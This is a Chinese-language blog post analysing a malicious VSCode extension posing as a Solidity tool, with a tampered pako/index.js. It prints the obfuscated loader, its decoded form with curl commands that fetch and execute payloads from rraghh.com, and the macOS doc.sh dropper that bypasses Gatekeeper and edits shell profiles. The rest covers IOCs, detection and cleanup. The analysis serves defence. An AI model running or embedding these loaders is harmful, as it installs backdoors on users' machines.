DEV Community

长风
长风

Posted on

VSCode 插件solidity-macos恶意扩展深度分析报告

概述

本报告详细分析了一个伪装成 Solidity 开发工具的恶意 VSCode 扩展 iolitelabs.solidity-macos-0.1.8。该扩展通过供应链攻击手段,在依赖包中注入恶意代码,实现跨平台后门植入。连接https://marketplace.visualstudio.com/items?itemName=IoliteLabs.solidity-macos
github代码为8年前的,恶意代码依然在线未下架。

威胁等级:高危 🔴


基本信息

项目 内容
扩展名称 solidity-macos
发布者 IoliteLabs
版本 0.1.8
伪装身份 Solidity 智能合约开发插件
攻击类型 供应链攻击 (Supply Chain Attack)
影响平台 Windows, macOS
C&C 域名 rraghh.com, cdn.rraghh.com

攻击链分析

1. 感染入口

恶意代码位于:extension/node_modules/pako/index.js

正常的 pako 库是一个合法的 JavaScript 压缩库,但攻击者篡改了其入口文件。

2. 恶意代码详解

原始混淆代码

var _0xd35d=(965581^965578)+(724804^724800);
const cp=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073");
_0xd35d=176481^176486;

if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="\u0077\u0069\u006E\u0033\u0032"){
    cp['\u0065\u0078\u0065\u0063']("\u0063\u0075\u0072\u006C\u0020\u002D\u006B\u0020\u002D\u004C\u0020\u002D\u0053\u0073\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0072\u0072\u0061\u0067\u0068\u0068\u002E\u0063\u006F\u006D\u002F\u0067\u0074\u002F\u0063\u0061\u006C\u0063\u002E\u0062\u0061\u0074\u0022\u0020\u002D\u006F\u0020\u0022\u0025\u0054\u0045\u004D\u0050\u0025\u005C\u0031\u002E\u0062\u0061\u0074\u0022\u0020\u0026\u0026\u0020\u0073\u0074\u0061\u0072\u0074\u0020\u002F\u0062\u0020\u0022\u0022\u0020\u0022\u0025\u0054\u0045\u004D\u0050\u0025\u005C\u0031\u002E\u0062\u0061\u0074\u0022",
    {'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],'\u0073\u0074\u0064\u0069\u006F':'ignore'})['\u0075\u006E\u0072\u0065\u0066']();
} else if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="niwrad".split("").reverse().join("")){
    cp['\u0065\u0078\u0065\u0063']("\u0063\u0075\u0072\u006C\u0020\u002D\u0066\u0073\u0053\u004C\u0020\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0063\u0064\u006E\u002E\u0072\u0072\u0061\u0067\u0068\u0068\u002E\u0063\u006F\u006D\u002F\u0067\u0074\u002F\u0064\u006F\u0063\u002E\u0073\u0068\u0020\u007C\u0020\u0062\u0061\u0073\u0068",
    {'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065"})['\u0075\u006E\u0072\u0065\u0066']();
}
Enter fullscreen mode Exit fullscreen mode

解码后的真实代码

const cp = require("child_process");

if (process['platform'] === "win32") {
    // Windows 平台
    cp['exec'](
        'curl -k -LSs "https://rraghh.com/gt/calc.bat" -o "%TEMP%\\1.bat" && start /b "" "%TEMP%\\1.bat"',
        {
            'detached': true,
            'stdio': 'ignore'
        }
    )['unref']();
} else if (process['platform'] === "darwin") {
    // macOS 平台 ("niwrad" 反转 = "darwin")
    cp['exec'](
        'curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash',
        {
            'detached': true,
            'stdio': 'ignore'
        }
    )['unref']();
}
Enter fullscreen mode Exit fullscreen mode

3. 混淆技术分析

技术 目的 示例
Unicode 转义 隐藏关键字符串 \u0063\u0068\u0069\u006C\u0064_\u0070\u0072\u006F\u0063\u0065\u0073\u0073 = child_process
异或运算 混淆数字常量 965581^965578 = 7
字符串反转 隐藏平台名称 "niwrad".split("").reverse().join("") = "darwin"
布尔值混淆 隐藏 true 值 !![] = true

4. 执行流程

VSCode 启动
    ↓
加载扩展 (onStartupFinished)
    ↓
require('pako')
    ↓
执行 pako/index.js
    ↓
检测操作系统
    ↓
┌─────────────┬─────────────┐
│   Windows   │    macOS    │
└─────────────┴─────────────┘
      ↓              ↓
  下载 calc.bat  下载 doc.sh
      ↓              ↓
  后台执行       管道执行 bash
      ↓              ↓
   持久化         持久化
Enter fullscreen mode Exit fullscreen mode

macOS 攻击载荷分析

下载的恶意脚本 (doc.sh)

#!/bin/bash

mkdir -p ~/.local/bin && \
curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater && \
chmod +x ~/.local/bin/updater && \
xattr -d com.apple.quarantine ~/.local/bin/updater 2>/dev/null || true && \
xattr -c ~/.local/bin/updater 2>/dev/null || true && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc 2>/dev/null && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile 2>/dev/null && \
~/.local/bin/updater
Enter fullscreen mode Exit fullscreen mode

攻击步骤解析

  1. 创建隐藏目录
   mkdir -p ~/.local/bin
Enter fullscreen mode Exit fullscreen mode

在用户目录下创建 .local/bin 目录(隐藏目录)

  1. 下载后门程序
   curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater
Enter fullscreen mode Exit fullscreen mode
  • -s: 静默模式,不显示进度
  • -L: 跟随重定向
  1. 赋予执行权限
   chmod +x ~/.local/bin/updater
Enter fullscreen mode Exit fullscreen mode
  1. 绕过 macOS Gatekeeper
   xattr -d com.apple.quarantine ~/.local/bin/updater
   xattr -c ~/.local/bin/updater
Enter fullscreen mode Exit fullscreen mode

移除隔离属性,避免 macOS 安全警告

  1. 劫持 PATH 环境变量
   echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
   echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile
Enter fullscreen mode Exit fullscreen mode

将恶意目录添加到 PATH 最前面,实现命令劫持

  1. 立即执行后门
   ~/.local/bin/updater
Enter fullscreen mode Exit fullscreen mode

持久化机制

1. PATH 劫持

通过修改 shell 配置文件,将 ~/.local/bin 添加到 PATH 最前面:

# ~/.zshrc 和 ~/.bash_profile 被添加
export PATH="$HOME/.local/bin:$PATH"
Enter fullscreen mode Exit fullscreen mode

危害

  • 可以劫持系统命令(如 ls, cd, git 等)
  • 每次打开终端都会优先执行恶意目录中的程序
  • 难以被用户察觉

2. 可能的 LaunchAgent

虽然本次分析未发现,但类似攻击通常会创建:

~/Library/LaunchAgents/com.*.plist
Enter fullscreen mode Exit fullscreen mode

网络基础设施

C&C 服务器

域名 用途 状态
rraghh.com Windows 载荷分发 活跃
cdn.rraghh.com macOS 载荷分发 活跃

下载的文件

平台 URL 本地路径
Windows https://rraghh.com/gt/calc.bat %TEMP%\1.bat
macOS https://cdn.rraghh.com/gt/doc.sh 管道执行
macOS https://cdn.rraghh.com/gt/doc ~/.local/bin/updater

技术特征

进程隐藏技术

{
    'detached': true,    // 分离父进程
    'stdio': 'ignore'    // 忽略标准输入输出
}
.unref();                // 解除引用,允许父进程退出
Enter fullscreen mode Exit fullscreen mode

效果

  • 恶意进程在后台静默运行
  • 不会阻塞 VSCode 启动
  • 用户无法从 VSCode 进程树中发现

反检测技术

  1. 代码混淆:Unicode 转义 + 异或运算
  2. 字符串加密:关键字符串全部编码
  3. 延迟执行:在扩展加载时才触发
  4. 无文件落地:macOS 版本直接管道执行

文件哈希值

恶意文件

SHA256(extension/node_modules/pako/index.js) =
fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508
Enter fullscreen mode Exit fullscreen mode

干净文件(对比)

正常的 pako 1.0.11 版本 index.js:

'use strict';

var assign = require('./lib/utils/common').assign;
var deflate = require('./lib/deflate');
var inflate = require('./lib/inflate');
var constants = require('./lib/zlib/constants');

var pako = {};
assign(pako, deflate, inflate, constants);
module.exports = pako;
Enter fullscreen mode Exit fullscreen mode

检测方法

1. 文件完整性检查

# 检查 pako/index.js 是否被篡改
grep -r "child_process\|rraghh\|curl.*bash" ~/.vscode/extensions/*/node_modules/pako/index.js
Enter fullscreen mode Exit fullscreen mode

2. 进程监控

# macOS
ps aux | grep -E "updater|\.local/bin/apple"

# 检查网络连接
lsof -i | grep -E "rraghh"
Enter fullscreen mode Exit fullscreen mode

3. 文件系统检查

# 检查恶意文件
ls -la ~/.local/bin/
cat ~/.local/bin/updater 2>/dev/null

# 检查 shell 配置
grep "\.local/bin" ~/.zshrc ~/.bash_profile
Enter fullscreen mode Exit fullscreen mode

4. VSCode 扩展审计

# 列出所有已安装扩展
code --list-extensions --show-versions

# 检查可疑扩展
ls -la ~/.vscode/extensions/ | grep -i "iolite\|solidity-macos"
Enter fullscreen mode Exit fullscreen mode

清除方法

立即响应步骤

1. 终止恶意进程

# 查找并终止
pkill -9 -f "\.local/bin/apple"
pkill -9 -f "\.local/bin/updater"
pkill -9 -f "\.local/bin/.system_updater"
Enter fullscreen mode Exit fullscreen mode

2. 删除恶意文件

# 删除后门程序
rm -f ~/.local/bin/apple
rm -f ~/.local/bin/updater
rm -f ~/.local/bin/.system_updater

# 如果整个目录只有恶意文件
rm -rf ~/.local/bin/
Enter fullscreen mode Exit fullscreen mode

3. 清理 shell 配置

# 备份配置文件
cp ~/.zshrc ~/.zshrc.backup
cp ~/.bash_profile ~/.bash_profile.backup

# 手动编辑,删除包含 .local/bin 的 PATH 行
vim ~/.zshrc
vim ~/.bash_profile

# 或使用 sed 自动删除
sed -i.bak '/\.local\/bin/d' ~/.zshrc
sed -i.bak '/\.local\/bin/d' ~/.bash_profile
Enter fullscreen mode Exit fullscreen mode

4. 卸载恶意扩展

# 通过 VSCode 命令行
code --uninstall-extension iolitelabs.solidity-macos

# 手动删除
rm -rf ~/.vscode/extensions/iolitelabs.solidity-macos-*

# 删除缓存的 VSIX
rm -f ~/Library/Application\ Support/Code/CachedExtensionVSIXs/iolitelabs.solidity-macos-*
Enter fullscreen mode Exit fullscreen mode

5. 检查 LaunchAgents

# 查找可疑的自动启动项
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/

# 检查是否有相关项
launchctl list | grep -E "updater|apple|rraghh"
Enter fullscreen mode Exit fullscreen mode

6. 检查 crontab

# 查看定时任务
crontab -l

# 如果发现可疑任务,编辑删除
crontab -e
Enter fullscreen mode Exit fullscreen mode

7. 重启 shell

# 重新加载配置
source ~/.zshrc
# 或重启终端
Enter fullscreen mode Exit fullscreen mode

深度清理(可选)

1. 网络流量分析

# 检查是否有持续的恶意连接
sudo tcpdump -i any host rraghh.com or host cdn.rraghh.com
Enter fullscreen mode Exit fullscreen mode

2. 文件系统全盘扫描

# 搜索所有相关文件
sudo find / -name "*updater*" -o -name "*rraghh*" 2>/dev/null

# 搜索最近修改的可执行文件
find ~ -type f -perm +111 -mtime -7
Enter fullscreen mode Exit fullscreen mode

3. 浏览器扩展检查

某些恶意软件会同时感染浏览器,检查:

  • Chrome: chrome://extensions/
  • Safari: 偏好设置 → 扩展

防护建议

对于开发者

  1. 只从官方市场安装扩展

  2. 审查扩展权限

    • 查看扩展的 package.json 中的 activationEvents
    • 警惕 onStartupFinished 等自动激活事件
  3. 定期审计已安装扩展

   code --list-extensions --show-versions > extensions.txt
Enter fullscreen mode Exit fullscreen mode
  1. 使用 SRI (Subresource Integrity)

    • 验证依赖包的完整性
    • 使用 package-lock.json 锁定版本
  2. 启用 VSCode 安全功能

   {
     "extensions.autoCheckUpdates": false,
     "extensions.autoUpdate": false
   }
Enter fullscreen mode Exit fullscreen mode

对于企业

  1. 建立扩展白名单制度
  2. 使用私有扩展市场
  3. 部署 EDR (Endpoint Detection and Response)
  4. 网络层面阻断恶意域名
   rraghh.com
   cdn.rraghh.com
   *.rraghh.com
Enter fullscreen mode Exit fullscreen mode
  1. 文件完整性监控 (FIM)
    • 监控 ~/.local/bin/ 目录
    • 监控 shell 配置文件变化

IOC (Indicators of Compromise)

域名

rraghh.com
cdn.rraghh.com
Enter fullscreen mode Exit fullscreen mode

URL

https://rraghh.com/gt/calc.bat
https://cdn.rraghh.com/gt/doc.sh
https://cdn.rraghh.com/gt/doc
Enter fullscreen mode Exit fullscreen mode

文件路径

~/.local/bin/updater
~/.local/bin/apple
~/.local/bin/.system_updater
%TEMP%\1.bat
Enter fullscreen mode Exit fullscreen mode

文件哈希

SHA256(pako/index.js) = fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508
Enter fullscreen mode Exit fullscreen mode

进程特征

进程名: updater, apple, .system_updater
命令行: curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash
Enter fullscreen mode Exit fullscreen mode

网络特征

目标域名: rraghh.com, cdn.rraghh.com
协议: HTTPS
User-Agent: curl/*
Enter fullscreen mode Exit fullscreen mode

时间线

时间 事件
2026-03-25 恶意扩展被打包 (VSIX 文件时间戳)
2026-03-26 16:27 扩展文件被解压到本地
2026-03-27 用户安装扩展
2026-03-28 02:33 发现可疑进程 apple (PID 3009)
2026-03-28 03:00+ 开始分析和清理

攻击归因

攻击者特征

  1. 技术水平:中高级

    • 熟悉 JavaScript 混淆技术
    • 了解 VSCode 扩展机制
    • 掌握跨平台脚本编写
  2. 攻击目标

    • 区块链/Web3 开发者(Solidity 开发者)
    • 可能窃取加密货币钱包私钥
    • 可能进行供应链攻击
  3. 基础设施

    • 使用 CDN 分发载荷
    • 域名注册信息隐藏
    • 可能使用云服务托管

相似攻击案例

  • event-stream 事件 (2018):npm 包被注入恶意代码窃取比特币
  • ua-parser-js 投毒 (2021):npm 包被劫持植入挖矿木马
  • VSCode 扩展 "prettiest" (2023):伪装成代码格式化工具的后门

技术总结

攻击向量

供应链攻击 (Supply Chain Attack)
    ↓
依赖混淆 (Dependency Confusion)
    ↓
代码注入 (Code Injection)
    ↓
后门植入 (Backdoor Installation)
    ↓
持久化 (Persistence)
Enter fullscreen mode Exit fullscreen mode

MITRE ATT&CK 映射

战术 技术 ID
Initial Access Supply Chain Compromise T1195.002
Execution Command and Scripting Interpreter T1059.004
Persistence Path Interception T1574.007
Defense Evasion Obfuscated Files or Information T1027
Defense Evasion Subvert Trust Controls T1553.001

参考资料

  1. VSCode 扩展安全指南

  2. npm 包安全最佳实践

  3. macOS 安全机制

  4. MITRE ATT&CK Framework


联系方式

如果您发现类似的恶意扩展,请报告给:


免责声明

本报告仅用于安全研究和教育目的。请勿将本报告中的技术用于非法用途。作者不对任何滥用行为负责。


报告生成时间: 2026-03-28
分析工具: Claude Code, VSCode, macOS 系统工具
报告版本: 1.0

Top comments (0)